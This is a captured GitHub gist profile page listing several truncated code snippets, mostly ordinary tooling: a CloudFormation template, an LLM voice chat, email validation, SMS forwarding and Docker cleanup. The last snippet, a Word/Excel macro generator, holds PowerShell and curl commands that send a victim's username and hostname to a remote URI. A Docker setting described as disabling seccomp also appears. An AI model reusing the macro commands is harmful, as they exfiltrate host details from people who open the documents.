Skip to content

Instantly share code, notes, and snippets.

View r0yfire's full-sized avatar

Roy Firestein r0yfire

View GitHub Profile
AWSTemplateFormatVersion: '2010-09-09'
Description: CloudFormation template for Flagsmith Platform
Parameters:
ApexDomain:
Description: The domain name for the Flagsmith Platform (e.g., "example.com")
Type: String
Default: example.com
StageName:
Description: The environment for the Flagsmith Platform (e.g., "prod")
@r0yfire
r0yfire / chat.py
Last active March 4, 2024 19:15
Voice Chat with LLMs
"""
Originally posted on:
https://royfirestein.com/blog/real-time-voice-chat-with-ai
"""
import os
import wave
from pydub import AudioSegment
from groq import Groq
@r0yfire
r0yfire / README.md
Created January 24, 2024 14:25
Using `crewai` to build an automated marketing content team using LLM Agents

Marketing Content Team using crewai

An experiment using crewai.

Setup

  1. Setup a virtual environment using virtualenv
    virtualenv -p python3 venv
@r0yfire
r0yfire / validate.js
Last active December 14, 2021 16:00
Validate email domains of prospects to ensure they are deliverable using Autohost API
const csv = require('@fast-csv/parse');
const https = require('https');
// Autohost API client
const client = (path, data, method = 'GET') => {
return new Promise((resolve, reject) => {
const options = {
method,
hostname: 'data.autohost.ai',
port: 443,
@r0yfire
r0yfire / smsToEmail.js
Created July 26, 2021 18:56
Twilio serverless function to forward incoming SMS to Email
const got = require('got');
exports.handler = function(context, event, callback) {
const requestBody = {
to: context.TO_EMAIL_ADDRESS,
from: context.FROM_EMAIL_ADDRESS,
subject: `New SMS message from: ${event.From}`,
text: event.Body,
};
@r0yfire
r0yfire / dockerclean.sh
Created July 17, 2018 13:56
Docker Cleanup Script
#!/bin/bash
#
# Cleanup Docker
#
if [ ! $(command -v docker) ]; then
echo "Docker is not installed."
exit 1
fi
@r0yfire
r0yfire / daemon.json
Last active May 11, 2018 11:31
Disable seccomp on Docker daemon
{
"seccomp-profile": "/etc/docker/seccomp.json"
}
@r0yfire
r0yfire / cymon_api_example.js
Created September 15, 2017 21:26
Node.js v8 authenticated Cymon API example
const request = require('request-promise');
// change these values
const USER = 'username';
const PASS = 'password';
const API = 'https://api.cymon.io/v2';
async function login() {
try {
const res = await request.post({
@r0yfire
r0yfire / Authenticate
Created August 9, 2017 13:58
Using cURL with Cymon API
curl -XPOST https://api.cymon.io/v2/auth/login -H 'Content-Type: application/json' -d '{"username": "user", "password": "pass"}'
@r0yfire
r0yfire / macro_gen.py
Created July 26, 2017 14:35
VBS Macro generator for Word/Excel
#!/usr/bin/env python
import string
import random
type = "excel"
commands = {
"win32": "PowerShell.exe -nop $postParams=@{username=$env:username;hostname=$env:computername};Invoke-WebRequest -Method POST -Body $postParams -Uri ",
"win64": "PowerShell.exe -nop $postParams=@{username=$env:username;hostname=$env:computername};Invoke-WebRequest -Method POST -Body $postParams -Uri ",
"mac": "curl -F username=$(whoami) -F hostname=$(hostname) -XPOST "